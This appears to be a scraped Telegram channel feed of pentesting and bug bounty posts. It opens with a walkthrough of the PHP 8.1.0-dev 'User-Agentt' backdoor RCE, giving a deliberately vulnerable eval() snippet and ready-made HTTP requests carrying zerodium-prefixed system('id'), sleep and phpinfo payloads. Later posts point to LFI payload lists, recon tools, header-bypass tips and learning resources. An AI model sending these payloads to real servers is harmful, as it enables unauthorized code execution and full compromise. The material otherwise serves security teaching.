GitBook
5.57K subscribers
268 photos
4 videos
390 files
866 links
ctf, pentest, writeUps, osint, labs,
tips، GitBooks, Notion
Web pentest, bug bounty
Download Telegram
PHP 8.1.0-dev RCE via User-Agentt Exploit



Introduction
In some versions of PHP 8.1.0-dev, a Remote Code Execution (RCE) vulnerability was discovered through an uncommon HTTP header called User-Agentt. This vulnerability can be exploited if the application processes incoming headers without proper sanitization, allowing arbitrary system commands to be executed on the server.


How Does the Vulnerability Work?
The vulnerability occurs when the application uses
$_SERVER['HTTP_USER_AGENTT']

unsafely, especially if the value is passed to functions like eval() or system().

If input validation is not implemented, attackers can execute unauthorized commands directly on the server.



Example of Vulnerable PHP Code

<?php
$user_agent = $_SERVER['HTTP_USER_AGENTT'];
eval($user_agent);
?>

Why is this dangerous?
Because an attacker can send an HTTP request with a User-Agentt header containing malicious PHP code, which will be executed directly on the server.

How to Exploit the Vulnerability



1. Testing Delay with sleep()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumsleep(5);


If the response is delayed by 5 seconds, it confirms that the code is being executed successfully.

2. Executing a System Command



with system()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumsystem('id');



If the server responds with user information such as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


this means RCE exploitation is successful.


3. Executing PHP via phpinfo()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumphpinfo();



•This might display the current PHP configuration, which helps in understanding the target environment.



Conclusion
This vulnerability is extremely dangerous because it allows direct command execution on the server, potentially leading to a full compromise. Developers must be cautious about handling external inputs and always keep their PHP versions up to date.
📖 Windows Server 2025 Administration Fundamentals: A beginner's guide to managing and administering Windows Server environments , Fourth Edition

💠 Info : https://www.packtpub.com/en-us/product/windows-server-2025-administration-fundamentals-9781836205005
🎯 Directory-Traversal-Payloads 🎯

List of Directory Traversal/LFI Payloads Scraped from the Internet

😸 Github

⬇️ Download
Please open Telegram to view this post
VIEW IN TELEGRAM
🔖Zzl - Collect subdomains from SSL certificates
https://github.com/DEMON1A/zzl
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🔥Robofinder is a powerful Python script designed to search for and retrieve historical robots.txt files from Archive.org for any given website. This tool is ideal for security researchers, web archivists, and penetration testers to uncover previously accessible paths or directories that were listed in a site's robots.txt.

🔖https://github.com/Spix0r/robofinder
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
🔖Hacking GraphQL APIs

GraphQL pentesting focuses on identifying security vulnerabilities in applications that use GraphQL for data querying. Unlike REST APIs, GraphQL allows clients to request specific data, which can expose underlying issues if not properly secured. Key areas of concern include improper authorization checks, excessive data exposure, and insufficient input validation. Pentesters should look for flaws such as introspection queries revealing sensitive schema details, or complex queries leading to denial of service. Ensuring robust input validation, implementing strict authorization checks, and limiting query complexity are essential practices to secure GraphQL endpoints.

🖥 Articles and Blog Posts
🔗 Hacktricks - GraphQL and Security
🔗 Five easy ways to hack GraphQL targets
🔗 Portswigger - Graphql
🔗 ApiSecurity

⬇️ GitHub Resources
📱 PayloadsAllTheThings
📱 hacking graphql
📱 Awesome Graphql Security
📱 Hack-graphql

⬇️Videos
🖤  NahamCon2024: GraphQL is the New PHP
🖤  Finding Your Next Bug: GraphQL
🖤  GraphQL API Pentesting

⬇️Books
📕 Black Hat GraphQL
📕 Hacking APIs - Breaking Web Application ...
📕 API Security in Action
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2
🔖All You Need to Master IDOR: A Complete Resource Guide

⬇️GitHub Repositories
All these GitHub Repositories contains 1000+ Hackerone reports to read from which you can learn how bug bounty hunters did recon to find IDOR Vulnerability, I suggest read atleast 300 reports to get your own unique perspective on IDOR Vulnerability.
📱 Awesome-Bugbounty-Writeups - IDOR
📱 HackerOne Reports - Top IDOR
📱 HackerOneReports - IDOR

⬇️Critical/Highest bounty through IDOR Vulnerability
🖤 IDOR - how to predict an identifier? Bug bounty case study
🖤 $5,000 YouTube IDOR - Bug Bounty Reports Explained
🖤 $28k IDOR that broke Apple Shortcuts - Apple bug bounty

⬇️All possible parameters for IDOR and real life examples of each
🖤 Bug Bounty Hunting for IDORs - Part-I
🖤 Bug Bounty Hunting for IDORs - Part-II
🖤 Bug Bounty Hunting for IDORs - Part-III

⬇️Book
📕 Bug Bounty Bootcamp - By Vickie Li
Please open Telegram to view this post
VIEW IN TELEGRAM
1

Closing the server ping in the operating system layer (to increase security)

echo "net.ipv4.icmp_echo_ignore_all = 1" >> /etc/sysctl.conf

Sysctl -p

To open the ping, just enter the value of 0 instead of 1.
4
🔥Always remember to test the API for existence of addition headers.
X-Originaal-URL: /v1/api/endpoint_here

BOOM => Entire API routes disclosure.
Credit: @driccosec
👍5
💠 Complete Web App Pentesting

🔗
https://hacklido.com/lists/8
🔥3👍2👏2
Oreilly | Mastering Cybersecurity with Python From Basics to Advanced 2025

Info : https://www.oreilly.com/library/view/mastering-cybersecurity-with/9781837029273/
1